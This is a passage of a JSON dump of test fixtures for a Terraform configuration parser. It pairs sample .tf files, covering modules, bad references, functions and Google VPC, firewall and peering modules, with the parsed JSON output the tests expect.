{\n        \"ENCRYPTED\": {\n          \"__start_line__\": 13,\n          \"__end_line__\": 13,\n          \"__address__\": \"module.mydb.ENCRYPTED\"\n        }\n      }\n    ]\n  },\n  \"{\\\"file_path\\\": \\\"modules/db/db.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\"envs/myotheraccount/us-east-1/main.tf\\\", \\\"name\\\": \\\"mydb\\\", \\\"foreach_idx\\\": null, \\\"nested_tf_module\\\": null}}\": {\n    \"resource\": [\n      {\n        \"aws_db_instance\": {\n          \"db\": {\n            \"name\": [\"my_db\"],\n            \"instance_class\": [\"db.t9.mega\"],\n            \"engine\": [\"postgres\"],\n            \"engine_version\": [11],\n            \"storage_type\": [\"gp2\"],\n            \"deletion_protection\": [true],\n            \"storage_encrypted\": [true],\n            \"__start_line__\": 1,\n            \"__end_line__\": 9,\n            \"__address__\": \"module.mydb.aws_db_instance.db\"\n          }\n        }\n      }\n    ]\n  }\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/account_dirs_and_modules/modules/db/db.tf",
    "content": "resource \"aws_db_instance\" \"db\" {\n  name                 = \"my_db\"\n  instance_class       = \"${var.DB_INSTANCE_TYPE}\"\n  engine               = \"postgres\"\n  engine_version       = \"${var.ENGINE_VERSION}\"\n  storage_type         = \"gp2\"\n  deletion_protection  = \"${var.DB_DELETION_PROTECTION}\"\n  storage_encrypted    = \"${var.ENCRYPTED}\"\n}\n"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/account_dirs_and_modules/modules/db/variables.tf",
    "content": "variable \"DB_DELETION_PROTECTION\" {\n  default     = true\n}\n\nvariable \"ENGINE_VERSION\" {\n  default     = \"9.5\"\n}\n\nvariable \"DB_INSTANCE_TYPE\" {\n  default     = \"db.t3.medium\"\n}\n\nvariable \"ENCRYPTED\" {}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/bad_ref_fallbacks/expected.json",
    "content": "{\n  \"main.tf\": {\n    \"locals\": [\n      {\n        \"BAD_VAR\": [\"${var.var_not_there}\"],\n        \"BAD_LOCAL\": [\"${local.local_not_there}\"],\n        \"BAD_MODULE\": [\"${module.module_not_there.nope}\"],\n        \"BAD_MODULE2\": [\"${module.module_not_there}\"],\n        \"BAD_MODULE3\": [\"${module.module_not_there.nope.still_not}\"],\n        \"QUOTE_IN_QUOTE_446\": [\"${filemd5(\\\"${path.module}/templates/some-file.json\\\")}\"]\n      }\n    ],\n    \"resource\": [\n      {\n        \"aws_lambda_function\": {\n          \"test_lambda\": {\n            \"source_code_hash\": [\"${filemd5(\\\"${path.module}/templates/some-file.json\\\")}\"]\n          }\n        }\n      }\n    ]\n  }\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/bad_ref_fallbacks/main.tf",
    "content": "locals {\n  BAD_VAR = var.var_not_there\n  BAD_LOCAL = local.local_not_there\n  BAD_MODULE = module.module_not_there.nope\n  BAD_MODULE2 = module.module_not_there\n  BAD_MODULE3 = module.module_not_there.nope.still_not\n  QUOTE_IN_QUOTE_446 = \"${filemd5(\"${path.module}/templates/some-file.json\")}\"\n}\n\nresource \"aws_lambda_function\" \"test_lambda\" {\n  source_code_hash = \"${filemd5(\"${path.module}/templates/some-file.json\")}\"\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/bad_tf_nested_modules_enable/expected.json",
    "content": "{\n  \"{\\\"file_path\\\": \\\"skip_bad_tf_example.tf\\\", \\\"tf_source_modules\\\": null}\": {\n    \"module\": [\n      {\n        \"bar\": {\n          \"memory\": [\"1G\"],\n          \"source\": [\"baz\"],\n          \"__start_line__\": 11,\n          \"__end_line__\": 14,\n          \"__resolved__\": [],\n          \"__address__\": \"bar\"\n        }\n      },\n      {\n        \"okay\": {\n          \"source\": [\"./okay\", \"baz2\"],\n          \"__start_line__\": 16,\n          \"__end_line__\": 19,\n          \"__resolved__\": [],\n          \"__address__\": \"okay\"\n        }\n      }\n    ],\n    \"variable\": [\n      {\n        \"okay\": {\n          \"__start_line__\": 1,\n          \"__end_line__\": 2,\n          \"__address__\": \"okay\"\n        }\n      }\n    ]\n  }\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/bad_tf_nested_modules_enable/skip_bad_tf_example.tf",
    "content": "variable \"okay\" {\n}\n\n// Variable is missing a name, not valid terraform syntex\nvariable {\n  name    = \"test\"\n  default = \"test_value\"\n  type    = \"string\"\n}\n\nmodule \"bar\" {\n    memory = \"1G\"\n    source = \"baz\"\n}\n\nmodule \"okay\" {\n  source = \"./okay\"\n  source = \"baz2\"\n}\n\n// Module is missing a name, can't be referenced or deployed\nmodule {\n  source = \"./not-okay\"\n  memory = \"far\"\n}\n"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/bogus_function/expected.json",
    "content": "{\n  \"main.tf\": {\n    \"value\": [\"${not_a_real_function(1,2,3,4)}\"]\n  }\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/bogus_function/main.tf",
    "content": "value = not_a_real_function(1, 2, 3, 4)"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/colon/colon.tf",
    "content": "variable \"tags\" {\n  type        = list(object({ key: string, value: string, propagate_at_launch: bool }))\ndefault = []\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/colon/expected.json",
    "content": "{\n  \"colon.tf\": {\n    \"variable\": [\n      {\n        \"tags\": {\n          \"type\": [\n            \"${list(object({'key': '${string}', 'value': '${string}', 'propagate_at_launch': '${bool}'}))}\"\n          ]\n        }\n      }\n    ]\n  }\n}\n\n\n"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/compound_local/checkov.tf",
    "content": "locals {\n  FIVE = \"five\"\n  NINE = \"nine\"\n  TWO = \"two\"\n  VICTOR = \"wictor\"\n  AUTHORIZATION_CODE = \"${local.NINE}-${local.FIVE}-${local.VICTOR}-${local.VICTOR}-${local.TWO}\"\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/compound_local/expected.json",
    "content": "{\n  \"{\\\"file_path\\\": \\\"checkov.tf\\\", \\\"tf_source_modules\\\": null}\": {\n    \"locals\": [\n      {\n        \"FIVE\": [\"five\"],\n        \"NINE\": [\"nine\"],\n        \"TWO\": [\"two\"],\n        \"VICTOR\": [\"wictor\"],\n        \"AUTHORIZATION_CODE\": [\"nine-five-wictor-wictor-two\"]\n      }\n    ]\n  }\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/concat_function/expected.json",
    "content": "{\n  \"{\\\"file_path\\\": \\\"main.tf\\\", \\\"tf_source_modules\\\": null}\": {\n    \"locals\": [\n      {\n        \"inline_map\": [\n          {\n            \"key\": \"a_key\",\n            \"value\": \"a_value\",\n            \"propagate_at_launch\": false\n          }\n        ]\n      },\n      {\n        \"simple_list\": [\n          [\n            \"a\",\n            \"\",\n            \"b\",\n            \"c\"\n          ]\n        ],\n        \"simple_list2\": [\n          [\n            \"a\",\n            \"\",\n            \"b\",\n            \"c\"\n          ]\n        ],\n        \"single_item_list\": [\n          [\"a\"]\n        ],\n        \"single_item_trailing_list\": [\n          [\"a\"]\n        ]\n      }\n    ],\n    \"variable\": [\n      {\n        \"extra_tags\": {\n          \"default\": [\n            [\n              {\n                \"key\": \"Foo\",\n                \"value\": \"Bar\",\n                \"propagate_at_launch\": true\n              },\n              {\n                \"key\": \"Baz\",\n                \"value\": \"Bam\",\n                \"propagate_at_launch\": true\n              }\n            ]\n          ],\n          \"__start_line__\": 10,\n          \"__end_line__\": 23,\n          \"__address__\": \"extra_tags\"\n        }\n      }\n    ],\n    \"resource\": [\n      {\n        \"aws_autoscaling_group\": {\n          \"bar\": {\n            \"name\": [\n              \"foobar3-terraform-test\"\n            ],\n            \"max_size\": [\n              5\n            ],\n            \"min_size\": [\n              2\n            ],\n            \"tags\": [\n              [\n                {\n                  \"key\": \"interpolation1\",\n                  \"value\": \"value3\",\n                  \"propagate_at_launch\": true\n                },\n                {\n                  \"key\": \"interpolation2\",\n                  \"value\": \"value4\",\n                  \"propagate_at_launch\": true\n                },\n                {\n                  \"key\": \"a_key\",\n                  \"value\": \"a_value\",\n                  \"propagate_at_launch\": false\n                },\n                {\n                  \"key\": \"Foo\",\n                  \"value\": \"Bar\",\n                  \"propagate_at_launch\": true\n                },\n                {\n                  \"key\": \"Baz\",\n                  \"value\": \"Bam\",\n                  \"propagate_at_launch\": true\n                }\n              ]\n            ],\n            \"__start_line__\": 25,\n            \"__end_line__\": 46,\n            \"__address__\": \"aws_autoscaling_group.bar\"\n          }\n        }\n      },\n      {\n        \"aws_autoscaling_group\": {\n          \"bar_simplified\": {\n            \"name\": [\n              \"bar_simplified_group\"\n            ],\n            \"max_size\": [\n              5\n            ],\n            \"min_size\": [\n              2\n            ],\n            \"tags\": [\n              [\n                {\n                  \"key\": \"interpolation1\",\n                  \"value\": \"value3\",\n                  \"propagate_at_launch\": true\n                },\n                {\n                  \"key\": \"interpolation2\",\n                  \"value\": \"value4\",\n                  \"propagate_at_launch\": true\n                }\n              ]\n            ],\n            \"__start_line__\": 48,\n            \"__end_line__\": 66,\n            \"__address__\": \"aws_autoscaling_group.bar_simplified\"\n          }\n        }\n      }\n    ]\n  }\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/concat_function/main.tf",
    "content": "# Loosely from https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/autoscaling_group\nlocals {\n  inline_map = {\n    key = \"a_key\"\n    value = \"a_value\"\n    propagate_at_launch = false\n  }\n}\n\nvariable \"extra_tags\" {\n  default = [\n    {\n      key                 = \"Foo\"\n      value               = \"Bar\"\n      propagate_at_launch = true\n    },\n    {\n      key                 = \"Baz\"\n      value               = \"Bam\"\n      propagate_at_launch = true\n    }\n  ]\n}\n\nresource \"aws_autoscaling_group\" \"bar\" {\n  name                 = \"foobar3-terraform-test\"\n  max_size             = 5\n  min_size             = 2\n\n  tags = concat(\n    [\n      {\n        \"key\"                 = \"interpolation1\"\n        \"value\"               = \"value3\"\n        \"propagate_at_launch\" = true\n      },\n      {\n        \"key\"                 = \"interpolation2\"\n        \"value\"               = \"value4\"\n        \"propagate_at_launch\" = true\n      },\n      local.inline_map\n    ],\n    var.extra_tags,\n  )\n}\n\nresource \"aws_autoscaling_group\" \"bar_simplified\" {\n  name                 = \"bar_simplified_group\"\n  max_size             = 5\n  min_size             = 2\n  tags = concat(\n    [\n      {\n        \"key\"                 = \"interpolation1\"\n        \"value\"               = \"value3\"\n        \"propagate_at_launch\" = true\n      },\n      {\n        \"key\"                 = \"interpolation2\"\n        \"value\"               = \"value4\"\n        \"propagate_at_launch\" = true\n      }\n    ]\n  )\n}\n\n# From https://www.terraform.io/docs/language/functions/concat.html\nlocals {\n  simple_list = concat([\"a\", \"\"], [\"b\", \"c\"])\n  simple_list2 = concat([\"a\"], [\"\"], [\"b\"], [\"c\"])\n  single_item_list = concat([\"a\"])\n  single_item_trailing_list = concat([\"a\"],)\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/count_eval/main.tf",
    "content": "/**\n * Copyright 2019 Google LLC\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n/******************************************\n\tVPC configuration\n *****************************************/\nmodule \"vpc\" {\n  source                                 = \"./modules/vpc\"\n  network_name                           = var.network_name\n  auto_create_subnetworks                = var.auto_create_subnetworks\n  routing_mode                           = var.routing_mode\n  project_id                             = var.project_id\n  description                            = var.description\n  shared_vpc_host                        = var.shared_vpc_host\n  delete_default_internet_gateway_routes = var.delete_default_internet_gateway_routes\n}\n\n/******************************************\n\tSubnet configuration\n *****************************************/\nmodule \"subnets\" {\n  source           = \"./modules/subnets\"\n  project_id       = var.project_id\n  network_name     = module.vpc.network_name\n  subnets          = var.subnets\n  secondary_ranges = var.secondary_ranges\n}\n\n/******************************************\n\tRoutes\n *****************************************/\nmodule \"routes\" {\n  source            = \"./modules/routes\"\n  project_id        = var.project_id\n  network_name      = module.vpc.network_name\n  routes            = var.routes\n  module_depends_on = [module.subnets.subnets]\n}\n"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/count_eval/modules/fabric-net-firewall/main.tf",
    "content": "/**\n * Copyright 2019 Google LLC\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n###############################################################################\n#                            rules based on IP ranges\n###############################################################################\n\nresource \"google_compute_firewall\" \"allow-internal\" {\n  count         = var.internal_ranges_enabled == true && length(var.internal_allow) > 0 ? 1 : 0\n  name          = \"${var.network}-ingress-internal\"\n  description   = \"Allow ingress traffic from internal IP ranges\"\n  network       = var.network\n  project       = var.project_id\n  source_ranges = var.internal_ranges\n  target_tags   = var.internal_target_tags\n\n  dynamic \"allow\" {\n    for_each = [for rule in var.internal_allow :\n      {\n        protocol = lookup(rule, \"protocol\", null)\n        ports    = lookup(rule, \"ports\", null)\n      }\n    ]\n    content {\n      protocol = allow.value.protocol\n      ports    = allow.value.ports\n    }\n  }\n}\n\nresource \"google_compute_firewall\" \"allow-admins\" {\n  count         = var.admin_ranges_enabled == true ? 1 : 0\n  name          = \"${var.network}-ingress-admins\"\n  description   = \"Access from the admin subnet to all subnets\"\n  network       = var.network\n  project       = var.project_id\n  source_ranges = var.admin_ranges\n\n  allow {\n    protocol = \"icmp\"\n  }\n\n  allow {\n    protocol = \"tcp\"\n  }\n\n  allow {\n    protocol = \"udp\"\n  }\n}\n\n###############################################################################\n#                              rules based on tags\n###############################################################################\n\nresource \"google_compute_firewall\" \"allow-tag-ssh\" {\n  count         = length(var.ssh_source_ranges) > 0 ? 1 : 0\n  name          = \"${var.network}-ingress-tag-ssh\"\n  description   = \"Allow SSH to machines with the 'ssh' tag\"\n  network       = var.network\n  project       = var.project_id\n  source_ranges = var.ssh_source_ranges\n  target_tags   = var.ssh_target_tags\n\n  allow {\n    protocol = \"tcp\"\n    ports    = [\"22\"]\n  }\n}\n\nresource \"google_compute_firewall\" \"allow-tag-http\" {\n  count         = length(var.http_source_ranges) > 0 ? 1 : 0\n  name          = \"${var.network}-ingress-tag-http\"\n  description   = \"Allow HTTP to machines with the 'http-server' tag\"\n  network       = var.network\n  project       = var.project_id\n  source_ranges = var.http_source_ranges\n  target_tags   = var.http_target_tags\n\n  allow {\n    protocol = \"tcp\"\n    ports    = [\"80\"]\n  }\n}\n\nresource \"google_compute_firewall\" \"allow-tag-https\" {\n  count         = length(var.https_source_ranges) > 0 ? 1 : 0\n  name          = \"${var.network}-ingress-tag-https\"\n  description   = \"Allow HTTPS to machines with the 'https' tag\"\n  network       = var.network\n  project       = var.project_id\n  source_ranges = var.https_source_ranges\n  target_tags   = var.https_target_tags\n\n  allow {\n    protocol = \"tcp\"\n    ports    = [\"443\"]\n  }\n}\n\n################################################################################\n#                                dynamic rules                                 #\n################################################################################\n\nresource \"google_compute_firewall\" \"custom\" {\n  # provider                = \"google-beta\"\n  for_each                = var.custom_rules\n  name                    = each.key\n  description             = each.value.description\n  direction               = each.value.direction\n  network                 = var.network\n  project                 = var.project_id\n  source_ranges           = each.value.direction == \"INGRESS\" ? each.value.ranges : null\n  destination_ranges      = each.value.direction == \"EGRESS\" ? each.value.ranges : null\n  source_tags             = each.value.use_service_accounts || each.value.direction == \"EGRESS\" ? null : each.value.sources\n  source_service_accounts = each.value.use_service_accounts && each.value.direction == \"INGRESS\" ? each.value.sources : null\n  target_tags             = each.value.use_service_accounts ? null : each.value.targets\n  target_service_accounts = each.value.use_service_accounts ? each.value.targets : null\n  disabled                = lookup(each.value.extra_attributes, \"disabled\", false)\n  priority                = lookup(each.value.extra_attributes, \"priority\", 1000)\n  //enable_logging          = lookup(each.value.extra_attributes, \"enable_logging\", null)\n\n  dynamic \"allow\" {\n    for_each = [for rule in each.value.rules : rule if each.value.action == \"allow\"]\n    iterator = rule\n    content {\n      protocol = rule.value.protocol\n      ports    = rule.value.ports\n    }\n  }\n\n  dynamic \"deny\" {\n    for_each = [for rule in each.value.rules : rule if each.value.action == \"deny\"]\n    iterator = rule\n    content {\n      protocol = rule.value.protocol\n      ports    = rule.value.ports\n    }\n  }\n}\n"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/count_eval/modules/fabric-net-firewall/outputs.tf",
    "content": "/**\n * Copyright 2019 Google LLC\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\noutput \"internal_ranges\" {\n  description = \"Internal ranges.\"\n\n  value = {\n    enabled = var.internal_ranges_enabled\n    ranges  = var.internal_ranges_enabled ? join(\",\", var.internal_ranges) : \"\"\n  }\n}\n\noutput \"admin_ranges\" {\n  description = \"Admin ranges data.\"\n\n  value = {\n    enabled = var.admin_ranges_enabled\n    ranges  = var.admin_ranges_enabled ? join(\",\", var.admin_ranges) : \"\"\n  }\n}\n\noutput \"custom_ingress_allow_rules\" {\n  description = \"Custom ingress rules with allow blocks.\"\n  value = [\n    for rule in google_compute_firewall.custom :\n    rule.name if rule.direction == \"INGRESS\" && length(rule.allow) > 0\n  ]\n}\n\noutput \"custom_ingress_deny_rules\" {\n  description = \"Custom ingress rules with deny blocks.\"\n  value = [\n    for rule in google_compute_firewall.custom :\n    rule.name if rule.direction == \"INGRESS\" && length(rule.deny) > 0\n  ]\n}\n\noutput \"custom_egress_allow_rules\" {\n  description = \"Custom egress rules with allow blocks.\"\n  value = [\n    for rule in google_compute_firewall.custom :\n    rule.name if rule.direction == \"EGRESS\" && length(rule.allow) > 0\n  ]\n}\n\noutput \"custom_egress_deny_rules\" {\n  description = \"Custom egress rules with allow blocks.\"\n  value = [\n    for rule in google_compute_firewall.custom :\n    rule.name if rule.direction == \"EGRESS\" && length(rule.deny) > 0\n  ]\n}\n"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/count_eval/modules/fabric-net-firewall/variables.tf",
    "content": "/**\n * Copyright 2019 Google LLC\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\nvariable \"network\" {\n  description = \"Name of the network this set of firewall rules applies to.\"\n}\n\nvariable \"project_id\" {\n  description = \"Project id of the project that holds the network.\"\n}\n\nvariable \"internal_ranges_enabled\" {\n  description = \"Create rules for intra-VPC ranges.\"\n  default     = false\n}\n\nvariable \"internal_ranges\" {\n  description = \"IP CIDR ranges for intra-VPC rules.\"\n  default     = []\n}\n\nvariable \"internal_target_tags\" {\n  description = \"List of target tags for intra-VPC rules.\"\n  default     = []\n}\n\nvariable \"internal_allow\" {\n  description = \"Allow rules for internal ranges.\"\n  default = [\n    {\n      protocol = \"icmp\"\n    },\n  ]\n}\n\nvariable \"admin_ranges_enabled\" {\n  description = \"Enable admin ranges-based rules.\"\n  default     = false\n}\n\nvariable \"admin_ranges\" {\n  description = \"IP CIDR ranges that have complete access to all subnets.\"\n  default     = []\n}\n\nvariable \"ssh_source_ranges\" {\n  description = \"List of IP CIDR ranges for tag-based SSH rule, defaults to 0.0.0.0/0.\"\n  default     = [\"0.0.0.0/0\"]\n}\n\nvariable \"ssh_target_tags\" {\n  description = \"List of target tags for tag-based SSH rule, defaults to ssh.\"\n  default     = [\"ssh\"]\n}\n\nvariable \"http_source_ranges\" {\n  description = \"List of IP CIDR ranges for tag-based HTTP rule, defaults to 0.0.0.0/0.\"\n  default     = [\"0.0.0.0/0\"]\n}\n\nvariable \"http_target_tags\" {\n  description = \"List of target tags for tag-based HTTP rule, defaults to http-server.\"\n  default     = [\"http-server\"]\n}\n\nvariable \"https_source_ranges\" {\n  description = \"List of IP CIDR ranges for tag-based HTTPS rule, defaults to 0.0.0.0/0.\"\n  default     = [\"0.0.0.0/0\"]\n}\n\nvariable \"https_target_tags\" {\n  description = \"List of target tags for tag-based HTTPS rule, defaults to https-server.\"\n  default     = [\"https-server\"]\n}\n\nvariable \"custom_rules\" {\n  description = \"List of custom rule definitions (refer to variables file for syntax).\"\n  default     = {}\n  type = map(object({\n    description          = string\n    direction            = string\n    action               = string # (allow|deny)\n    ranges               = list(string)\n    sources              = list(string)\n    targets              = list(string)\n    use_service_accounts = bool\n    rules = list(object({\n      protocol = string\n      ports    = list(string)\n    }))\n    extra_attributes = map(string)\n  }))\n}\n"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/count_eval/modules/fabric-net-svpc-access/main.tf",
    "content": "/**\n * Copyright 2019 Google LLC\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\nresource \"google_compute_shared_vpc_service_project\" \"projects\" {\n  count           = var.service_project_num\n  host_project    = var.host_project_id\n  service_project = element(var.service_project_ids, count.index)\n}\n\nresource \"google_compute_subnetwork_iam_binding\" \"network_users\" {\n  count      = length(var.host_subnets)\n  project    = var.host_project_id\n  region     = element(var.host_subnet_regions, count.index)\n  subnetwork = element(var.host_subnets, count.index)\n  role       = \"roles/compute.networkUser\"\n\n  members = compact(split(\",\", lookup(var.host_subnet_users,\n    element(var.host_subnets, count.index))\n  ))\n}\n\nresource \"google_project_iam_binding\" \"service_agents\" {\n  count   = var.host_service_agent_role ? 1 : 0\n  project = var.host_project_id\n  role    = \"roles/container.hostServiceAgentUser\"\n  members = var.host_service_agent_users\n}\n"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/count_eval/modules/fabric-net-svpc-access/outputs.tf",
    "content": "/**\n * Copyright 2019 Google LLC\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\noutput \"service_projects\" {\n  description = \"Project ids of the services with access to all subnets.\"\n  value       = google_compute_shared_vpc_service_project.projects.*.service_project\n}\n"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/count_eval/modules/fabric-net-svpc-access/variables.tf",
    "content": "/**\n * Copyright 2019 Google LLC\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\nvariable \"host_project_id\" {\n  type        = string\n  description = \"Project id of the shared VPC host project.\"\n}\n\n# passed-in values can be dynamic, so variables used in count need to be separate\n\nvariable \"service_project_num\" {\n  type        = number\n  description = \"Number of service projects that will be attached to the Shared VPC.\"\n  default     = 0\n}\n\nvariable \"service_project_ids\" {\n  type        = list(string)\n  description = \"Ids of the service projects that will be attached to the Shared VPC.\"\n}\n\nvariable \"host_subnets\" {\n  type        = list(string)\n  description = \"List of subnet names on which to grant network user role.\"\n  default     = []\n}\n\nvariable \"host_subnet_regions\" {\n  type        = list(string)\n  description = \"List of subnet regions, one per subnet.\"\n  default     = []\n}\n\nvariable \"host_subnet_users\" {\n  type        = map(any)\n  description = \"Map of comma-delimited IAM-style members to which network user roles for subnets will be assigned.\"\n  default     = {}\n}\n\nvariable \"host_service_agent_role\" {\n  type        = bool\n  description = \"Assign host service agent role to users in host_service_agent_users variable.\"\n  default     = false\n}\n\nvariable \"host_service_agent_users\" {\n  type        = list(string)\n  description = \"List of IAM-style users that will be granted the host service agent role on the host project.\"\n  default     = []\n}\n"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/count_eval/modules/network-peering/main.tf",
    "content": "/**\n * Copyright 2019 Google LLC\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\nlocals {\n  local_network_name = element(reverse(split(\"/\", var.local_network)), 0)\n  peer_network_name  = element(reverse(split(\"/\", var.peer_network)), 0)\n}\n\nresource \"google_compute_network_peering\" \"local_network_peering\" {\n  provider             = google-beta\n  name                 = \"${var.prefix}-${local.local_network_name}-${local.peer_network_name}\"\n  network              = var.local_network\n  peer_network         = var.peer_network\n  export_custom_routes = var.export_local_custom_routes\n  import_custom_routes = var.export_peer_custom_routes\n\n  depends_on = [\"null_resource.module_depends_on\"]\n}\n\nresource \"google_compute_network_peering\" \"peer_network_peering\" {\n  provider             = google-beta\n  name                 = \"${var.prefix}-${local.peer_network_name}-${local.local_network_name}\"\n  network              = var.peer_network\n  peer_network         = var.local_network\n  export_custom_routes = var.export_peer_custom_routes\n  import_custom_routes = var.export_local_custom_routes\n\n  depends_on = [\"null_resource.module_depends_on\", \"google_compute_network_peering.local_network_peering\"]\n}\n\nresource \"null_resource\" \"module_depends_on\" {\n  triggers = {\n    value = length(var.module_depends_on)\n  }\n}\n\nresource \"null_resource\" \"complete\" {\n  depends_on = [\"google_compute_network_peering.local_network_peering\", \"google_compute_network_peering.peer_network_peering\"]\n}\n"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/count_eval/modules/network-peering/outputs.tf",
    "content": "/**\n * Copyright 2019 Google LLC\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\noutput \"local_network_peering\" {\n  description = \"Network peering resource.\"\n  value       = google_compute_network_peering.local_network_peering\n}\n\noutput \"peer_network_peering\" {\n  description = \"Peer network peering resource.\"\n  value       = google_compute_network_peering.peer_network_peering\n}\n\noutput \"complete\" {\n  description = \"Output to be used as a module dependency.\"\n  value       = null_resource.complete.id\n}\n"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/count_eval/modules/network-peering/variables.tf",
    "content": "/**\n * Copyright 2019 Google LLC\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\nvariable \"prefix\" {\n  description = \"Name prefix for the network peerings\"\n  type        = string\n  default     = \"network-peering\"\n}\n\nvariable \"local_network\" {\n  description = \"Resource link of the network to add a peering to.\"\n  type        = string\n}\n\nvariable \"peer_network\" {\n  description = \"Resource link of the peer network.\"\n  type        = string\n}\n\nvariable \"export_peer_custom_routes\" {\n  description = \"Export custom routes to local network from peer network.\"\n  type        = bool\n  default     = false\n}\n\nvariable \"export_local_custom_routes\" {\n  description = \"Export custom routes to peer network from local network.\"\n  type        = bool\n  default     = false\n}\n\nvariable \"module_depends_on\" {\n  description = \"List of modules or resources this module depends on.\"\n  type        = list\n  default     = []\n}\n"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/count_eval/modules/routes/main.tf",
